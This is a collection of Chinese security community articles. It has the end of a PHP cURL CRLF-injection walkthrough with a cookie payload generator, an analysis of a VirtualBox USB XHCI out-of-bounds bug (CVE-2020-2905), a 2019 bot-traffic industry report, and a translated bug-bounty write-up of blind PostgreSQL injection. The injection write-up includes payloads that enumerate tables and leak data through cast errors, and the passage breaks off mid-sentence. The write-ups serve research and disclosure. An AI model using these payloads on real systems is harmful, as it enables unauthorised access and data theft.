"data": "{\"method\":\"getPublicData\",\"params\":[]}",
"files": {},
"form": {},
"headers": {
"Accept": "*/*",
"Connection": "close",
"Content-Length": "38",
"Content-Type": "application/json",
"Host": "httpbin.org",
"X-Trial-Groups": "A1,B2"
},
"json": {
"method": "getPublicData",
"params": []
},
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
如果使用`http://httpbin.org/post`代替内部API端点，它会返回一个JSON文档，该文档用以描述发送的POST请求，包括请求中的所有POST数据和头部。
对于响应来说，需要重点关注的地方在于，发送给httpbin.org的X-Trial-Groups头部内含有trialGroups
cookie中的A1、B2字符串。所以，下面让我们尝试注入一些CRLF（回车换行符）：
tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true'
{
"args": {},
"data": "{\"method\":\"getPublicData\",\"params\":[]}",
"files": {},
"form": {},
"headers": {
"Accept": "*/*",
"Connection": "close",
"Content-Length": "38",
"Content-Type": "application/json",
"Host": "httpbin.org",
"X-Injected": "true",
"X-Trial-Groups": "A1,B2"
},
"json": {
"method": "getPublicData",
"params": []
},
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
由于PHP会对cookie值中URL编码序列（例如%0d，%0a)进行自动解码，因此，我们可以在发送的cookie值中使用经过URL编码的回车符(%0d)和换行符(%0a)。我们知道，HTTP头部由CRLF序列进行分隔的，因此，当PHP
cURL库写入这些请求的头部时，有效载荷的X-Injected: true部分将被视为一个单独的头部。这简直太棒了！
## HTTP请求
通过向请求中注入头部数据后，我们到底可以做些什么呢？
嗯，老实说，就本例来说，能够做的事情确实有限。然而，如果我们深入研究HTTP请求的结构就会发现，实际上不仅可以注入头部数据，还可以注入POST数据！
要想了解该漏洞的利用原理，需要对一些HTTP请求了如指掌。其中，可以执行的最基本的HTTP POST请求如下所示：
POST /post HTTP/1.1
Host: httpbin.org
Connection: close
Content-Length: 7
thedata
下面，让我们进行逐行解读。
POST /post HTTP/1.1
第一行表示使用POST方法向/post端点发送请求，使用HTTP协议的版本号为1.1。
Host: httpbin.org
这个头部的作用是告诉远程服务器，我们要请求httpbin.org域上的页面。虽然这看上去是多余的，但当您连接到HTTP服务器时，实际上连接的是服务器的IP地址，而不是域名。如果我们的请求中没有包含Host头部，那么，服务器就无法知道我们在浏览器的地址栏中输入了哪个域名。
Connection: close
这个头部要求服务器在发送响应后关闭底层TCP连接。如果没有提供这个头部的话，在发送响应后，连接会继续保持打开状态。
Content-Length: 7
Content-Length头部用来告诉服务器将在请求正文中发送多少字节的数据。这一点非常重要:）
是的，这里并没有出现错误；这条空行只包含一个CRLF序列。它告诉服务器，我们已经完成了头部的发送工作，接下来将发送请求正文。
thedata
最后，我们会发送请求正文（也称为POST数据）。并且，正文的长度（以字节为单位）必须与前面发送的Content-Length头部中声明的长度相匹配，因为我们已经告诉服务器，就让它读取那么多的字节。
下面，我们将这个请求发送到httpbin.org，采取的具体方法是将一个echo命令的输出，以命令管道方式传递给netcat：
tom@slim:~▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata" | nc httpbin.org 80
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:16:34 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur
{
"args": {},
"data": "thedata",
"files": {},
"form": {},
"headers": {
"Connection": "close",
"Content-Length": "7",
"Host": "httpbin.org"
},
"json": null,
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
如果一切正常的话，我们会收到一些响应头部，一个CRLF序列，然后是响应的正文。
所以，这里有一个问题：如果发送的POST数据比在Content-Length头部中声明的要多的话，将会发生什么情况呢？ 为此，我们不妨试试：
tom@slim:~▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata some more data" | nc httpbin.org 80
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:20:10 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur
{
"args": {},
"data": "thedata",
"files": {},
"form": {},
"headers": {
"Connection": "close",
"Content-Length": "7",
"Host": "httpbin.org"
},
"json": null,
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
如果保持Content-Length头部不变，比如说发送7个字节，但是却向请求主体中添加了更多数据，这时，服务器只会读取前7个字节。这一点正是我们制造漏洞的诀窍。
## 利用漏洞
事实证明，当我们设置curlopt_httpheader选项时，不仅可以使用单个CRLF序列来注入头部数据，还可以使用双CRLF序列来注入POST数据。具体步骤如下所示：
1. 精心构造我们的JSON POST数据，让它调用getPublicData之外的方法，比如getPrivateData
2. 获取该数据的长度(以字节为单位)
3. 使用单个CRLF序列来注入一个Content-Length头部数据，让服务器仅读取上一步获取的字节数
4. 注入两个CRLF序列，让我们的恶意JSON作为POST数据进行传输
如果一切顺利的话，相应的内部API将完全忽略合法的JSONPOST数据，转而使用我们的恶意JSON数据。
为了过得更轻松一些，我编写了相应的脚本来替我生成这些类型的有效荷载；这样的话，不仅可以偷懒，还能降低犯错误的几率，具体代码如下所示：
tom@slim:~▶ cat gencookie.php
<?php
$postData = '{"method": "getPrivateData", "params": []}';
$length = strlen($postData);
$payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$postData}";
echo "trialGroups=".urlencode($payload);
tom@slim:~▶ php gencookie.php
trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7D
我们来试一试吧：
tom@slim:~▶ curl -s localhost:1234 -b $(php gencookie.php)
{
"args": {},
"data": "{\"method\": \"getPrivateData\", \"params\": []}",
"files": {},
"form": {},
"headers": {
"Accept": "*/*",
"Connection": "close",
"Content-Length": "42",
"Content-Type": "application/json",
"Host": "httpbin.org",
"X-Trial-Groups": "ignore"
},
"json": {
"method": "getPrivateData",
"params": []
},
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
成功啦！我们将x-Trial-Groups头部设置为ignore，并注入了一个Content-Length头部以及我们自己的POST数据。我们虽然发送了合法的POST数据，但被服务器全部忽略了。
对于这种漏洞来说，是很难通过黑盒测试发现的；不过，我认为本文还是值得大家一读的，因为现在到处都在使用开源代码，同时，对于编写代码的人来说，这也是一个不错的警示，也许他们根本就没有意识到竟然还有这种攻击向量（attack
vectors）。
## 其他攻击向量
自从发现这个漏洞以后，我就一直在关注类似的情况。经过研究后发现，CURLOPT_HTTPHEADER并不是唯一存在这种安全隐患的cURL选项。由于请求中的下列选项（可能还有其他选项！）
会隐式设置头部数据，所以，它们也存在同样的安全漏洞：
* CURLOPT_HEADER
* CURLOPT_COOKIE
* CURLOPT_RANGE
* CURLOPT_REFERER
* CURLOPT_USERAGENT
* CURLOPT_PROXYHEADER
希望本文能够对大家有所帮助，并祝各位阅读愉快！ | 社区文章 |
**作者：林以**
**公众号：[支付宝安全实验室](https://mp.weixin.qq.com/s/ZpdPwySu0U1QVJ9GOJBNkw
"支付宝安全实验室")**
Oracle在北京时间4月15日发布了本年度第二次的Critical Patch Update
Advisory，并在最新版VirtualBox（6.1.6）中修复了支付宝光年安全实验室@鹜望与@林以提交的USB
XHCI模块的堆越界读写漏洞。这篇文章将对此漏洞进行分析。
## VirtualBox USB XHCI漏洞模块介绍
VirtualBox是一款虚拟化软件，由于其开源属性，在个人用户中盛行。VirtualBox大部分模块是开源的，但是部分模块是以二进制插件包的形式发布，包括了，USB
2.0与 3.0虚拟设备，VirtualBox RDP协议模块，硬盘加密，NVMe以及用于 Intel的 PXE引导部分。CVE-2020-2905
漏洞存在于 VirtualBox二进制插件包中的 USB 3.0 XHCI模块。USB协议目前有三代接口标准，OHCI、UHCI都是
USB1.1的接口标准，而 EHCI是对应 USB2.0的接口标准，最新的 xHCI是 USB3.0的接口标准。在这里我们只需关注 XHCI协议的数据结构。
## 漏洞分析
### 漏洞简介
该漏洞存在于二进制插件包 VBoxEhciR3.so中，VBoxEhciR3.so包括了 Ehci以及 Xhci的实现。VirtualBox在
6.1版本之后将插件包中的二进制的符号都给 strip了，这里我们以 6.0.14带符号版本进行分析。复现环境中宿主机与虚拟机均为
Ubuntu，宿主机（Host）版本：
### 虚拟机（Guest）
### 漏洞成因
该漏洞是个数组越界读写，存在于 xhciR3WriteEvent函数， iIntr 参数可以被攻击者控制。从IDA Pro的 Structures段可以得知
aInterrupters 数组只有8个元素（下图所示），但是iIntr的值却可以是0～1023。iIntr用来对
aInterrupters数组进行索引，但代码未对iIntr值进行校验，因此造成了堆溢出。
逆向分析回溯调用流，可发现，xhciR3WriteEvent的调用路径是：
`xhciR3WorkerLoop->xhciR3PostXferEvent->xhciR3WriteEvent`。
具体而言，当xhci模块正常启动时，它会调用`xhciR3WorkerLoop`函数。在该函数中，宿主机的xhci驱动会与虚拟机通过xhci命令进行通信。宿主机会等待xhci相应的物理寄存器的读写来进行响应。后面的文章我们将通过理清XHCI协议的相应数据结构来进行分析。
### XHCI协议数据结构分析
虚拟机通过读写宿主机的物理地址来与宿主机响应驱动进行通信。通过在虚拟机中执行cat/proc/iomem命令，我们可以得知宿主机相应的驱动与其映射出来的物理地址，如下我们可知，xhci驱动对应的物理地址范围是0xf1810000-0xf181ffff，0x10000个字节大小。
而xhci驱动会将物理地址转换成xhci协议中的寄存器，当我们在虚拟机对物理地址进行读写时，其实就是对xhci协议的相应寄存器进行读写，读者可查阅XHC
Ispecification[1]来对xhci协议进行深入了解。
该漏洞的触发需要CRCR以及DCBAAP两个寄存器的配合：
### CRCR寄存器
CRCR(Command Ring Control)寄存器存储的内容用于对xhchi驱动进行控制，存储着dequeue pointer，指针指向trb
ring，trb ring是个数组存储着trb结构体。对应到CRCR寄存器，存储的是Command TRBs。Command
TRBs包含了17个commands用来对宿主机xhci驱动发起命令，而xhciR3WorkerLoop函数就是在轮询处理Command
TRBs的command，包括了Enable Slot Command，Address Device Command，Stop Endpoint
Command等commands，在specification 6.4.3节中定义。
这17个commands中，我们需要关注Stop Endpoint Command，xhciR3WorkerLoop就是在处理Stop Endpoint
Commahnd中触发了漏洞。我们就以Stop Endpoint Command
TRB为例子来介绍TRB数据结构。一个TRB数据长128bits，在Stop Endpoint Command
TRB中，前12个字节都是保留使用的，最后4个字节才有意义。其中TRB Type字段就是表明该TRB的类型，如果我们要发送Stop Endpoint
Command，我们就要将该字段设为对应的值，Stop Endpoint Command对应值15。Slot
ID最大值为32，即XHCI中最多拥有32个slot，slot的定义为：“Device Slot refers to the xHC interface
associated with an individual USB device,e.g. the associated Device Context
Base Address Array entry,a Doorbell Array register,and its Device Context.”
### DCBAAP寄存器
DCBAAP(Device Context Base Address Array Pointer Register)存储着指向Device Context
Base Address Array的指针，该指针通过slot id来进行索引。而Device Context Base Address
Array数组存储着Device Context Data Structure数据结构，Device Context Data Structure共有
32个入口，第一个入口是Slot Context Data Structure，其余的入口是Endpoint Context Data Structure。
## 漏洞具体触发方式
回到xhciR3WorkerLoop函数：
攻击者需要首先调用CR_ENABLE_SLOT命令来开启对应的slot，不然后续处理的时候遇到对应的slot没开启，程序会直接返回，在这里我们可以将所有32个
slot都开启。
在CR_STOP_ENDPOINT命令处理代码中，v134即slot id，通过v37 = xhciR3FetchDevCtxAddr(v2,
v134);将对应slot id的Device Context Base Address
Array的地址取出存到v37中，随后在pfnPCIPhysRead调用中读取 32字节到
icc_0变量中，由上文的XHCI协议数据结构分析中的Device Context Base Address
Array结构分析可知，前32个字节应该是slot context数据结构。
随后，驱动会调用xhciR3PostXferEvent函数，该函数的第二个参数为`(unsigned
__int16)(HIWORD(icc_0.resvd[0]) >> 6)`，即为被控制的icc_0中的数据。
参数`(unsigned __int16)(HIWORD(icc_0.resvd[0]) >>
6)`会传至uIntTgt变量，最后会传到`xhciR3WriteEvent`函数的iIntr参数，实现控制aInterrupters中的index的值。
由上述分析可知icc_0中存储着slot context结构，我们需要分析出 `(unsigned
__int16)(HIWORD(icc_0.resvd[0]) >> 6)`对应的 slot context中的字段，以此来控制iIntr。查看 `IDA
Pro中 icc_0` 结构体的定义，我们可以得知 `(unsigned __int16)(HIWORD(icc_0.resvd[0]) >>
6)`是Slot Context Data Structure中的Interrupter
Target字段。该字段有10bits长，值范围是0～1023，意味着我们可以越界写1023个元素长。
总结而言，分析清楚这些数据结构对应的关系之后，我们就可以构造poc来触发该漏洞了，还有一些校验字段由于篇幅原因略去分析了，读者可以根据
specification以及 VirtualBox代码的实现来bypass对应的校验。
## 补丁分析
VirtualBox在6.1.6版本修复了该漏洞，查看补丁，漏洞修复很简单，将iIntr值限定在0～7中。
## 可利用性分析
攻击者可以进行越界写，比如在函数xhciR3WriteEvent中变量v4是被攻击者控制的，下面代码会将v4
的值写入v7->errp中，v7即是从aInterrupters数组中取出的越界的地址。
攻击者通过内存布局，将代码中的关键数据结构布局到越界写的数据内容之后，可覆盖关键数据结构的值，从而造成虚拟机逃逸。
## 引用
* <https://www.intel.com/content/dam/www/public/us/en/documents/technical-specifications/extensible-host-controler-interface-usb-xhci.pdf>
### 关于作者
**支付宝光年安全实验室：**
隶属于支付宝安全实验室。通过对基础软件及设备的安全研究，达到全球顶尖破解能力，致力于保障蚂蚁金服及行业金融级基础设施安全。因发现并报告行业系统漏洞，数十次获得Google、Apple等国际厂商致谢。
扫码关注支付宝安全实验室微信公众号，干货不断！
* * * | 社区文章 |
# 极验2019交互安全行业研究报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2019
年已经过去，在过去的一年，经济下行对各个行业带来地冲击有目共睹，以数字货币带动的整个区块链行业昙花一现之后几乎销声匿迹；资本从狂热到保守，前几年频繁曝光的投融资消息，2019
寥寥无几；曾经大肆铺张烧钱的运营拉新活动也屈指可数。
寒冬已至，即使如履薄冰也需要稳步前行，不论是大的经济趋势还是国内政策导向，都需要我们更加注重设计合理的业务流程、严格把控内容安全的红线、减少不必要的运营支出。
我们回顾 2019 全年的业务安全问题，从多个角度剖析了业务安全所面临的挑战，并给出了建议的处理方式。
这篇报告主要聚焦于 OSI 第七层的业务层，极验交互安全实验室通过 2019 年全年对国内近数十万个域名、数千亿次的网络请求分析，尽可能地还原 2019
年国内整个互联网的业务安全状况。
## 前言
世界经济论坛发布的《2019 年全球风险报告》从影响力和发生概率的视角呈现了 2019
全球风险格局，其中网络攻击、数据欺诈或窃取都位于前列。互联网发展到今天，每一次地技术革命都给人类带来极大的便捷。社会资产、交易行为和人们的时间不断地从线下转移到线上，随之而来的灰黑产业链也越来越专业化、产业化，利用业务漏洞或者网络攻击从中渔利，业务安全已经成为当前全球化的问题。
数据来源《2019年全球风险报告》
## 机器流量的定义
Good Bot ：通过脚本自动执行简单且重复的任务，提升工作效率。
* 搜索引擎爬虫
* 自动交易程序
* 网站监控软件
* 自动订阅机器人
* 自动聊天机器人
Bad
Bot：为您的网站带来虚假流量，其恶意可能涉及：爬取有价值的数据（文章内容、商品价格、评论信息等）、发布垃圾评论和网络钓鱼链接，影响网络分析和搜索引擎优化，甚至导致DDoS攻击。
## 整体趋势
随着业务安全逐渐被企业重视，与2018年相比，2019年恶意机器流量占比降低了2.1个百分点。这也是自2016年以来，恶意机器流量占比出现首次下降。
Bad Bot 行业分布
解读：以票务和政府公共服务为例
票务领域的恶意流量流向包括飞机票、演唱会门票、电影票、火车票等多个行业，但是近3/4
都在火车票领域，而在火车票中几乎所有的流量都指向了某著名火车票售卖网站或者
App，节假日出行高峰期，火车票一票难求问题依然严峻，不平等的供求关系滋生出得巨大利益空间使恶意机器流量不断增加。在恶意机器流量占比不断攀升的背景下，机器与人本身效率的不平等性被进一步拉大，直接导致目前抢票软件肆虐，普通用户需要支付更高额的成本来获取车票。
近年来越来越多的公司，利用国家公共平台的信息作为其商业化产品的重要数据来源（大数据征信产品，企业信息查询，车辆信息查询产品等），辅助以良好地交互体验、产品包装，实现其商业化的目的。这样大规模的数据来源需要大量的机器爬虫来提升入库的效率，而像失信人员名单查询系统、中国裁判文书网、失信被执行人查询、中国及多国专利审查信息查询、商标查询、车辆违章信息查询系统、国家企业信用信息公示系统、全国组织机构代码管理中心等网站则成为机器流量重灾区。
## Bad Bot 场景分布
解读：
查询场景占 29.4%
的恶意机器流量正面说明了目前整个互联网爬虫肆虐的现状，包括国家公共政务平台、医院挂号系统、火车票务网站、演唱会票务网站、机票/酒店价格查询等众多行业都饱受恶意爬虫地危害，给企业带来巨大不必要的带宽成本。
登录、注册场景都是重中之重的账户安全环节，也是所有黑产攻击的入口。随着近几年整个行业对于账户安全地认知不断提高，大多数企业都在入口做了一定程度安全措施，近两年占比相对稳中有降。
下单场景则主要集中于电商行业，随着电商行业的 GMV
不断刷新，以抢购、刷单为目的的黑色产业链也逐渐走向成熟，在每年“双十一”、“618”、“年货节”等大促时间段内，下单场景的恶意流量都会出现激增。
## IP 分布 – 区域分布
解读：
机器流量当前主要分布在东亚、北美、欧洲等区域。其中，我国以 62.98% 的占比，位居全球之首。而韩国、中国台湾则超越美国，位列前三。
IP 分布 – 省份分布
解读：
机器流量当前在国内地分布，并未出现在传统的北上广深等互联网发展较快的区域。吉林、江西、福建、山东等地区甚至超越上海，进入前十。而吉林省，更是超越北京，占据全国机器流量分布榜单次席。
## 团伙
何为团伙
黑产团伙，作为恶意机器流量背后的势力，是全球业务安全事件背后的始作俑者。在业务安全的范畴内，黑产团伙特指通过复用相同的资源（IP 池、UA
池、手机卡、身份信息等）或使用相似地攻击手法在时间维度呈现一定的聚集性对业务方有目的地攻击行为发起方。
国内团伙现状
团伙风险分布
极验交互安全实验室对国内黑产主要工具进行长期持续地监控，对主流黑产工具更新迭代持续跟踪，在电商业务高发的双十一、双十二等时间段，十天的时间内就监测到 7
个版本的更新，一个月更新了 25 个版本，除了修复简单 bug 之外，更多的是攻击策略地不断变化更新，从侧面体现的就是黑产与业务方安全团队对抗的不断升级。
极验交互安全实验室通过对 2019 年全年Top20 黑产工具跟踪分析，并与涵盖了电商、航空、区块链等多个行业的数十家一线互联网公司风控部门交流，2019
安全行业单个业务规则平均有效寿命为 92 小时，1 月、10 月、11 月、12 月几个业务高发期寿命低于 75 小时。
## 2019年典型业务安全场景
业务安全必须立足于业务，而场景则是业务最直接的体现。极验交互安全实验室汇总了2019年全年数十家企业的业务问题，并针对部分典型场景展开分析。
### 裂变师徒
裂变师徒类业务模式也被业内称作“趣头条”模式。
通过微信、QQ、短信、面对面扫码、邀请码等媒介直接分享邀请 H5
页面或者带链接的文本，达到老用户拉新用户的拉新目的，每邀请一位新用户，老用户获得一定金额的现金奖励。
目前常见的业务模式里面“一度师徒关系”的模式最多，也就是邀请奖励只存在于一级师徒之间。此模式的作案变现手法为：黑产通过一个或者多个“师傅账号”的邀请链接注册大量“徒弟账号”，利用业务规则从“师傅端”获取大量现金奖励，从而变现。
解决方案：
在整个环节里面最容易被识别的就是徒弟端风险账户，在准确识别“徒弟账户”后可以通过邀请码找到提现的出口“师傅账户”和其他也使用此邀请码的其他“徒弟账户”。同时根据已知风险账户复用资源和作案手法的聚类找到其他团伙，整个解决方案中邀请码是核心串联点。
### 简历爬虫
ATS 简历爬虫问题，ATS 全称叫 Applicant Tracking System，就是求职者跟踪系统，帮助各个公司 HR
统一管理各个招聘平台的账户，提供整个候选人流程和简历智能处理筛选等其他服务，其中有一点就是需要用户在 ATS 平台上统一授权登录各大招聘网站的账户，存在
ATS 爬取留存用户简历问题。
房东房客刷量问题
平台内部内容刷量问题
## 总结
2019
年是一个令安全圈欣慰的一年，我们看到越来越多的企业开始重视业务安全地建设与完善。更让人振奋的是，大家逐渐意识到业务安全地建设，不再只是安全部门的工作，而是需要从安全、产品与运营三个方向共同协同发力。
随着
5G、人工智能等技术的快速发展，企业面临的安全形势愈加严峻。黑产团伙已经开始通过给模型输入恶意样本数据，训练出强大的“机器人”。黑产团伙不再是混迹于暗网黑市地小打小闹，拥有雄厚财力，创新技术加持的黑产团伙，其市场规模、技术创新以及破坏性，已到达互联网有史以来的巅峰。
未来的业务安全，一定是交互场景与安全的紧密结合。随着人工智能技术在安全领域地应用与创新，人类与恶意机器流量地博弈将更加得复杂与多变。未来企业网络安全攻防，也将更具挑战。
添加小助手[@Eva](https://github.com/Eva "@Eva")
微信（geetest1024），获取《极验2019交互安全行业研究报告》 | 社区文章 |
本文为翻译文章，原文链接：<https://www.shawarkhan.com/2020/11/exploiting-blind-postgresql-injection.html>
## 前言
父老乡亲们大家晚上好，我是 Shawar Khan，距离上次writeup已有些时日，近日偶有小成，post出来跟大家分享一下。
想跟大家分享很多新东西，但是本篇文章只是披露其中一个Web应用程序，该程序基于python开发。由于这是SYNACK上（一个漏洞赏金平台）的目标，所以我会把目标替换为`redacted.com`或`Redacted
Org`。
由于该平台评价规则是质量为上，这意味着最好的质量报告才能获胜，所以我的重点是编写具有最大影响力的最佳报告。
## 设置渗透范围
只允许访问特定的站点，例如`staging.sub.redacted.com/endpoint/`：
设置高级范围
勾选“在目标范围内”，仅收集相关流量。
选项`is in target scope`(是否在目标范围)已打勾，因此将仅拦截目标范围内的域名流量。
## 了解应用程序工作流程：
`staging.sub.redacted.com`站点的功能非常有限，分析Burp
Suite历史记录中的流量后，发现一个页面负责对网页进行更改和更新，该页面位于`staging.sub.redacted.com/endpoint/_dash-update-component`下，接收大量POST请求，并且每个请求都有唯一的JSON响应。这点证实了该页面包含了不同的函数，可以处理不同的数据。
该应用程序用户分两种：Admin和User。admin用户能够添加新用户并进行一些其他的更改，后来我发现提权之后user账户也可以创建新用户（这里译者觉得是说发现了越权之类的漏洞的意思吧）。
用户创建功能由_`dash-update-component`模块完成，具体请求如下：
POST /endpoint/_dash-update-component HTTP/1.1
Host: staging.sub.redacted.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRFToken: undefined
Origin: https://staging.sub.redacted.com
Content-Length: 710
Connection: close
Cookie: REDACTED
{"output":"createUserSuccess.children","outputs":{"id":"createUserSuccess","property":"children"},"inputs":[{"id":"createUserButton","property":"n_clicks","value":1},{"id":"newUsername","property":"n_submit","value":0},{"id":"newPwd1","property":"n_submit","value":0},{"id":"newPwd2","property":"n_submit","value":0},{"id":"newEmail","property":"n_submit","value":0}],"changedPropIds":["createUserButton.n_clicks"],"state":[{"id":"newUsername","property":"value","value":"test1"},{"id":"newPwd1","property":"value","value":"test123123123"},{"id":"newPwd2","property":"value","value":"test123123123"},{"id":"newEmail","property":"value","value":"[email protected]"},{"id":"role","property":"value","value":"dp"}]}
上面请求发出后，响应如下：（确认已创建新用户）
HTTP/1.1 200 OK
Date: Fri, 20 Nov 2020 20:53:18 GMT
Content-Type: application/json
Content-Length: 192
Connection: close
{"response": {"createUserSuccess": {"children": {"props": {"children": ["New User created"], "className": "text-success"}, "type": "Div", "namespace": "dash_html_components"}}}, "multi": true}
为了进一步测试，尝试再次发送相同的请求并收到以下响应：
HTTP/1.1 200 OK
Date: Fri, 20 Nov 2020 20:53:12 GMT
Content-Type: application/json
Content-Length: 350
Connection: close
{"response": {"createUserSuccess": {"children": {"props": {"children": ["New User not created: (psycopg2.errors.DuplicateSchema) schema \"test1\" already exists\n\n[SQL: CREATE SCHEMA test1]\n(Background on this error at: http://sqlalche.me/e/f405)"], "className": "text-danger"}, "type": "Div", "namespace": "dash_html_components"}}}, "multi": true}
尝试再次创建test1用户后，会收到一条错误消息，指出未创建新用户：`New User not created:
(psycopg2.errors.DuplicateSchema) schema \"test1\" already exists\n\n[SQL:
CREATE SCHEMA test1]`。该错误似乎是由于缺少`try/except`导致的Python异常。如果把`try /
except`写成`except（Exception）`，则程序不会返回任何异常（此处不是这种用法）。
这里使用的python模块是`psycopg2`，我不是很熟悉，查询相关资料后发现，这是PostgreSQL数据库的数据库适配器模块，确认该应用程序运行的是PostgreSQL数据库。此外，该异常泄漏了查询信息`CREATE
SCHEMA test1`，而这个`test1`是我创建的用户名。这表明：我的输入从`newUsername`对象的值中检索后直接传递给了SQL查询。
因此，我立马掏出sqlmap，将`risk & level`设置为3，不幸的是并没有跑出来，只能无奈手工注入。
## 手工注入
目前已知的是，如果将用户名创建为`testuser1;
TEST`，应用程序将创建一个名称为`testuser1`的用户，但会抛出语法错误，从而确认`TEST`作为查询单独执行，因此我确信存在SQL注入。
New User not created: (psycopg2.errors.SyntaxError) syntax error at or near \"TEST\"\nLINE 1: CREATE SCHEMA testuser1;TEST...\n
请求中加入单引号或双引号后，程序以未封闭的引号错误进行响应，由此可以确认我们的输入没有被包裹在引号中。为了执行新查询，必须首先使用`;`来关闭第一个查询。因此，我尝试将用户名创建为`test1
AND SELECT
version()`，但是发现程序将空格转换为`_`，因此我的用户名变为`test1_and_select_version()`，再次失败。
一个简单的绕过策略是使用注释而不是空格。我将所有空格都转换为`/**/`，但同样被拦截。经过进一步的测试，我发现了一种绕过思路。在python中，`\n`，`\r`或`\t`等字符可用于换行和制表符，同时也能够将它们用作查询的分隔符。
但是，我收到了两种情况的响应：应用程序要么创建了新用户，要么返回了错误消息，但是都没有返回version()的结果。并且，如果成功执行了第一个查询，第二个查询才有效，因此必须确保创建的用户名不存在，否则查询将失败。
为了提高效率，我尝试查看是否使用脏字符来枚举表，例如
test111111;SELECT/**/tessssooooooooooooootessssoooooooooooooooooooooooooooooooooooooooo;
程序返回的错误信息如下:
INSERT INTO userdata (username, email, password, roles) VALUES
(%(username)s, %(email)s, %(password)s, %(roles)s) RETURNING
userdata.id]\n[parameters: {'username':
'test111111;SELECT/**/tessssooooooooooooootessssoooooooooooooooooooooooooooooooooooooooo;',
'email': '[email protected]', 'password':
'sha256$QY0iWLnG$17f.......',
'roles': 'dp'
返回的错误消息是未创建“新用户”，因为字符串过长（总长限制为80字符）：`New User not created:
(psycopg2.errors.StringDataRightTruncation) value too long for type character
varying(80)`，再一步受挫。
由于我熟悉级联绕过（concatenation
bypasses），但是所有其他页面都没有返回未经过滤的值或原始值，因为它们中的大多数都包裹在引号中，而引号已正确转义，因此级联绕过也不可用。
从公开查询中，我找到了具有所有注册用户的表userdata所对应的列，下文会对此进行说明。
时间紧迫，之后开始枚举表名。使用payload为`test1111;SELECT/**/version/**/from/**/existornot;`，我能够确定一个表是否存在。如果表不存在，则应用程序返回错误消息`psycopg2.errors.UndefinedTable)
column \"existornot\" does not
exist`；如果表存在，则应用程序返回`psycopg2.errors.UndefinedColumn) column \"version\" does
not exist`表明对应的列不存在。
在尝试了每个查询并绕过之后发现，即使使用了SELECT语句，我也无法检索信息，并且一切都以语法错误或用户创建的错误结束。原因可能是从`CREATE
SCHEMA`上下文转义后，第三个查询失败。
我将此漏洞报告为有限的blind
SQL注入，可以枚举表和列，并请求允许进一步利用。在访问某些内容之前，最好先征得许可，因为如果未经许可，这样做可能会造成麻烦。
幸运的是，我的报告赢得了质量准则，并获得了进一步利用的许可。在测试期间，我发现了一些很有趣的东西，那就是该应用程序如何在可用列和表上泄露一些蛛丝马迹。我使用查询语句为`teb2;SELECT/**/password/**/from/**/pg_user;`，应用程序响应为：
{
"multi": true,
"response": {
"createUserSuccess": {
"children": {
"type": "Div",
"props": {
"className": "text-danger",
"children": [
"New User not created: (psycopg2.errors.UndefinedColumn) column \"password\" does not exist\nLINE 1: CREATE SCHEMA t12;SELECT/**/password/**/from/**/pg_user;\n ^\nHINT: Perhaps you meant to reference the column \"pg_user.passwd\".\n\n[SQL: CREATE SCHEMA t12;SELECT/**/password/**/from/**/pg_user;]\n(Background on this error at: http://sqlalche.me/e/f405)"
]
},
"namespace": "dash_html_components"
}
}
}
}
该应用程序提供了一条提示：`Perhaps you meant to reference the column
\"pg_user.passwd\"（也许您打算引用列
\"pg_user.passwd\"）`，该列公开了与`password`相似的可用列`passwd`。在枚举时在后面加个`+`，还可以枚举出相似的列或表。
## 使用类型转换来获取信息
在过去的几年中，我研究了与类型转换有关的内容，其中用户输入被转换为不可能的类型，从而造成了信息泄露。由于目前无法获取任何数据，我研究了与类型转换有关的内容，发现PostgreSQL有一个名为CAST()的函数可用于转换数据类型。为了引起异常以便造成信息泄露，我想将列数据转换为INTEGER。
为了查询当前的数据库版本，我尝试了如下查询语句：`test11a1111;SELECT/**/CAST(version()/**/AS/**/INTEGER);`，结果出来了，大家快康：
收到响应为：`PostgreSQL 12.3 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.3
20140911 (Red Hat 4.8.3-9),
64-bit`，由数据类型转换失败而引起。直到此刻才取得较大的进展（不知道接下来还要面对什么挑战，哈哈）。
使用CAST()函数也遇到麻烦，之前是限制了80个字符的输入，而使用 CAST()进行查询时，最多只能查询了45个字符：
>>>
>>> len("t;SELECT/**/CAST(version()/**/AS/**/INTEGER);")
45
>>>
在Google上搜索CAST()的替代用法后，我发现仅通过使用`::int`即可转换数据类型，而`::int`比CAST()查询短得多。查询
`t;SELECT\nversion()::int`返回相同的响应，但字符长度短很多。
>>> len("t;SELECT\nversion()::int")
23
>>>
使用`\n`代替`/**/`并使用`::int`代替`CAST()`，节省了大量字符长度，有助于进一步渗透。
目前能够从version()，current_user等命令中获取单个值，现在是时候检索表信息了。
## 获取表信息
接下来，我想检索所有可用的表名，然后尝试访问`pg_catalog.pg_tables`(该表包含所有可用表名)。查询语句为：`tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n2)::integer`，响应如下：
收到一个错误 ：`New User not created: (psycopg2.errors.CardinalityViolation) more
